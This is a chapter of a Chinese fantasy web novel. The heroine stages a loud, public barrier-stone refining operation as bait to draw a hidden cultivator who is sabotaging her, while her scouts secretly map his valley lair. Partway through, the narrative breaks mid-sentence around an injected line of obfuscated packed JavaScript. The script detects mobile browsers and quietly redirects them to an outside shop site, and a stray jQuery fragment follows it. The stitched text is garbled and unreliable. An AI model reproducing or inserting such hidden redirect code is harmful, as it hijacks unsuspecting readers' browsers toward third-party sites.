裂痕交错的半成品屏障石静静搁置在木案之上。
沈砚微指尖轻轻拂过石块表面细碎的裂纹，心底的猜测一点点落定。
一次失败尚可归咎于古法残缺，两次失败可以说是配比失当，可历经数十次微调，集齐三样天材之后依旧屡屡功亏一篑，便绝不可能只是寻常炼制失误。
有一股看不见的力量，隔着遥远距离，不动声色从中阻挠。
也就是说，从派出队伍奔赴深山搜寻奇材的那一刻起，自己所有筹谋，便早已落入那人眼底。
所谓暗中布局、秘密炼石，自始至终，都只是演给对方看的一场戏。
而对方并不急于出手摧毁一切，只是藏在暗处，一点点干扰炼制，任由她不断消耗珍贵材料与府库银两，眼睁睁看着希望在一次次试练之中慢慢破灭。
想通这一层，一股寒意顺着脊背悄然漫开。
长久以来，她自以为步步隐秘，处处谨慎，殊不知一举一动，皆被暗处之人尽收眼底。
继续躲在后院静室偷偷炼制屏障石，只会无休止耗空仅剩的资源，最终落入对方精心编织的绝望圈套。这条路，已经走不通了。
她缓缓收回手指，转身推开静室的木门。
屋外晚风微凉，卷着街边淡淡的香料气息扑面而来，天边残阳正一点点沉向连绵群山之后，将整片山野染成一层朦胧橘红。
苏梧守在门外廊下，见她走出，连忙上前一步。
“小姐，今日炼制依旧没有进展吗？”
沈砚微轻轻摇头，目光望向远处层叠起伏的山林，语气平静，听不出太多情绪。
“不必再在这间静室之中反复尝试炼制屏障石。”
苏梧猛地一怔，眼底满是错愕。
“不再炼制？可是我们尚且还有一部分沉纹石、幽絮草与寒溪砂存放在库房，若是就此放弃，此前无数人力银两，还有众人出生入死寻来的奇材，岂不全部付诸东流？”
“不是放弃，是换一条路走。”
沈砚微收回远眺的目光，视线落向庭院角落一簇悄然盛放的白色小花，花瓣迎着晚风轻轻颤动，明明看上去柔弱不堪，根系却早已在泥土之下悄悄蔓延开来，“我们藏着掖着暗中谋划，对方居高临下，冷眼旁观我们所有挣扎。既然隐秘行事已经瞒不住，那索性，便不再藏了。”
回到书房，沈砚微将门窗轻轻合上，桌案之上摊开厚厚的山野地形图，上面密密麻麻标注着荒谷位置、村落分布、田垄走向，还有这些日子暗探探查记录下来的灵气起伏节点。
她指尖缓缓落在地图深处那片标记着荒谷的幽暗区域。
想要彻底终结这场由灵力催生的虫灾，要么隔着遥远距离布下屏障隔绝术法，要么，让操纵一切的幕后之人亲自来到凡尘。
前者已经被对方暗中干扰，几乎没有成功可能。
那就只能选择后者。
引诱他，亲自现身。
只是能够操控亿万虫潮、隔着群山肆意挥洒灵力的强者，心性必定极为高傲谨慎。寻常的挑衅、刻意的埋伏，只会引起对方警惕，根本不会轻易踏入凡尘俗世之中。必须布下一张足够巨大，足够逼真的网，让他觉得，胜券在握，前来收割胜利果实。
沈砚微提笔，蘸饱浓墨，一条条写下全新指令。
第一道指令，解除炼石的封禁，不再藏在后院静室。直接在城郊一处开阔的平地搭建一座露天炼制工坊，招募数十名匠人，大张旗鼓对外宣告，将要日夜不停，大批量炼制屏障石，布下隔绝灵息的防护法阵。
第二道指令，传令各处搜寻小队，不必再隐蔽行踪。来往运送沉纹石、幽絮草、寒溪砂的车马不再刻意走偏僻小路，光明正大穿行在官道之上，任由路人看见一车车珍稀材料源源不断送往城郊工坊。
第三道指令，放缓域外市场的收缩，对外放出消息，只要屏障法阵布设完成，不出两月，整片受灾花田就可以重新开垦播种，沈家香品很快便能恢复往日全盛光景。
一道道命令依次下达，消息如同长了翅膀一般，短短一日，便传遍整座八城。
街市之间百姓议论纷纷。
“沈家不再偷偷尝试炼制奇石了，直接在城外搭建工坊，要大举修筑屏障法阵！”
“若是法阵能够顺利成型，虫灾就能彻底止住，往后我们总算不用再整日惶恐不安。”
城里的世家、各地的分销商听闻消息，亦是精神一振，纷纷送来信函，打探法阵修建进度。
短短几日，原本渐渐低迷的人心，再一次燃起巨大的希望。
议事厅内，一众管事看着全新的部署，心中满是不解。
“小姐！露天旷野毫无遮挡，炼制之时更容易受到天地气流影响，为何偏偏要放弃隐蔽安静的后院静室？如此大张旗鼓，岂不是直接把我们的计划清清楚楚摆在那人眼前？”
“若是对方恼羞成怒，直接催动前所未有的巨型虫潮，趁着工坊搭建尚未完工之时大举袭来，我们根本来不及防御！”
质疑与担忧此起彼伏。
沈砚微安静听完所有人的顾虑，语气从容镇定。
“正是要让他看得一清二楚。让他以为，求胜心切之下，我已经乱了方寸，急于求成，不惜暴露所有部署，不顾一切想要尽快炼完全部九块屏障石。只有让他笃定，我将全部赌注押在屏障法阵之上，他才愿意亲自前来，亲手击碎我们最后的希望。”
她要塑造出一个濒临绝境、拼命抓住最后一根救命稻草的失败者形象。
唯有让江叙白认定，胜利近在咫尺，只需亲自降临，便可一举终结所有反抗，他才会愿意离开云海之上的居所，踏入凡尘。
城外，露天工坊日夜动工搭建。
数十名匠人按照古方记载，日复一日，公开调和三样奇材，架起一排炭炉，昼夜不停尝试炼制屏障石。
来往运送珍稀材料的马车络绎不绝，尘土扬起在官道之上，声势浩大。
每一块半成品石块出炉，无论成败，都毫不遮掩，任由往来路人远远观望。
炼石失败的消息，也刻意不去遮掩，任由流言四处散播。
时而传出炼制初见起色，石块初具形态；时而又传出材料融合失败，整块石料轰然碎裂。
大喜大悲的消息交替传出，塑造出一场跌宕起伏、拼尽一切却始终命悬一线的豪赌。
千里云海之上，云雾悠悠流转。
江叙白垂眸望向下方凡尘，将城郊那片日夜不息、灯火长明的露天工坊尽收眼底。
几日之前，对方还小心翼翼躲在幽深小院，悄无声息反复试练。短短数日，行事风格骤然大变，不顾一切大肆铺开炼制工坊，毫不掩饰自己全部目的。
一缕淡淡的疑惑自心底一闪而过。
难道是接连不断的失败，巨大的财力消耗，磨掉了她所有的谨慎冷静？
绝境之下，病急乱投医，索性不顾一切放手一搏？
他指尖轻轻摩挲，眼底带着几分漫不经心的玩味。
看上去，的确像是走投无路之后的孤注一掷。
露天旷野，毫无屏障遮蔽，炼制过程完全暴露在天地之间，更加方便他以灵力暗中干扰破坏。
哪怕沈砚微此刻故意故作姿态引诱自己，可只要她依旧执着炼制屏障石，这件事本身，便是她最大的破绽。
江叙白没有立刻动身下凡。
他打算再多观望一段时日。
先放任她消耗掉手里剩余大半珍稀材料，多经历几次从满怀希望到彻底破碎的煎熬，等到法阵只差最后一两块屏障石便能完工之际，再亲自降临。
亲手碾碎她拼尽一切换来的曙光，那样的结局，才足够令人绝望。
一缕若有若无的灵力，依旧遥遥笼罩在城郊工坊上空，持续干扰匠人们炼石，只是不再刻意藏得无影无踪，偶尔会让炼制过程出现一些轻微、反常的波动。
仿佛在无声宣告，他依旧掌控着这里的一切。
八城之内，热闹喧嚣全都是演出来的假象。
公开如火如荼炼石的同时，沈砚微私下悄悄下达了另一套完全相反的密令，只交由苏梧与最忠诚的一小队心腹执行，绝不让任何外人知晓。
第一，库房之中，对外运送到露天工坊的沉纹石、幽絮草、寒溪砂，只是挑选出来品质相对普
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843022|211681||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
通的一部分。真正品质最好、灵气最为纯粹的一小部分奇材，悄悄拆分，秘密送往八城四座极为隐蔽的旧驿站，分别妥善封存。
第二，抽调暗探队伍，不再只是潜伏在荒谷外围远远观望。借着工坊喧闹作为掩护，分批绕开荒谷正面视野，顺着荒谷四周几条极少有人踏足的险峻密道，一点点向着荒谷四周迂回靠近，悄悄绘制荒谷内部完整地势，探查山谷之中每一处灵气流动的节点，寻找灵力向外扩散的源头。
第三，传令各个村落，表面依旧按照原定计划，清理田垄，象征性播撒少量香草种子，营造等待法阵完工、即刻全面复耕的假象。暗地里加固育苗园外围层层防御，囤积大量干燥柴草、驱虫草药，做好抵御一场规模空前虫潮突袭的万全准备。
对外，所有人看见的，是一场轰轰烈烈、孤注一掷的炼石行动。
对内，一张细密繁复的大网，正悄无声息，一点点向着深山荒谷缓缓收拢。
夜色深沉，一轮冷月悬于漆黑夜空。
城郊露天工坊灯火通明，炭炉噼啪燃烧，匠人们依旧在夜色之中不停调配材料，尝试炼石。
不少路过的百姓远远驻足眺望，低声议论这场决定整座八城命运的炼制大业。
而八城通往深山的几条崎岖山道之上，几道黑色身影借着浓重夜色掩护，脚步轻快，穿行在密林阴影之间，向着荒谷的方向悄然前行。
书房之内，烛火轻轻摇曳。
苏梧拿着刚刚由暗探连夜送回的简易地形图，轻轻铺放在桌案之上。
“小姐，依照指令，小队已经悄悄探查荒谷外围大半区域。荒谷内部灵气并不是均匀散开，所有灵力波动，似乎全部自山谷最深处一处凹陷崖洞之中向外流淌而出。那处崖洞，极有可能便是那人停留栖身之地。只是山谷深处云雾常年不散，无法看清洞内真实景象。”
沈砚微低头，目光落在地形图标记的那一处崖洞之上，指尖缓缓点在那个小小的记号。
找到了。
若是一切推测无误，崖洞便是对方留在凡尘灵力支点。只要能够找准时机牵制住这一处灵力源头，就算对方施展术法，威力也会大打折扣。
“传令探查小队，不可贸然靠近崖洞，只远远记录每日灵气强弱起伏，摸清对方灵力流动的时辰规律。”
“是。”
苏梧将密令仔细收好，又有些迟疑开口。
“只是……就算我们摸清荒谷地形，可那人修为深不可测，一旦真的被我们引诱降临凡尘，我们又该如何抗衡？我们手中没有能够直接重创他的器物。”
沈砚微抬眼望向窗外沉沉夜色，目光沉静悠远。
“我从来没有打算，仅凭凡人武力与他正面拼死一战。”
她布下这么大一场局，引诱对方现身，不是为了当街厮杀，而是为了抓住对方降临凡尘的那一瞬，找到灵力短暂衔接失衡的空隙。
一个可以暂时困住、制衡他，而非直接斩杀他的机会。
只是这套后手，尚且还需要一点时间，继续打磨完善。
日子一日一日缓缓流逝。
城郊工坊炼石，时而略有进展，时而全盘碎裂。
消息不停向外传递，不断传入云海之上。
江叙白看着下方一次又一次失败的炼制，看着那座灯火不息的露天工坊，心中那份微弱疑虑正在一点点淡化。
在他眼中，沈砚微已然深陷这场豪赌之中，被渺茫的希望裹挟，不顾一切向前冲撞。
只差一两块屏障石，法阵便可成型。
距离他亲自降临凡尘，亲手终结这场漫长博弈的时刻，越来越近。
荒谷深处，云雾不停翻涌，淡淡的灵力日复一日源源不断向着整片山野扩散，在泥土之下，无数虫卵静静蛰伏，等待主人一声令下，再度掀起席卷一切的恐怖虫潮。
八城之内，表面喧嚣热烈，暗处步步为营。
明处的诱饵已经高高悬起，暗处的罗网正在缓缓收紧。
所有人都只看见城外轰轰烈烈炼制屏障石的热闹景象，无人知晓，一场足以决定所有人命运的巨大对峙，正在寂静之中，慢慢酝酿成型。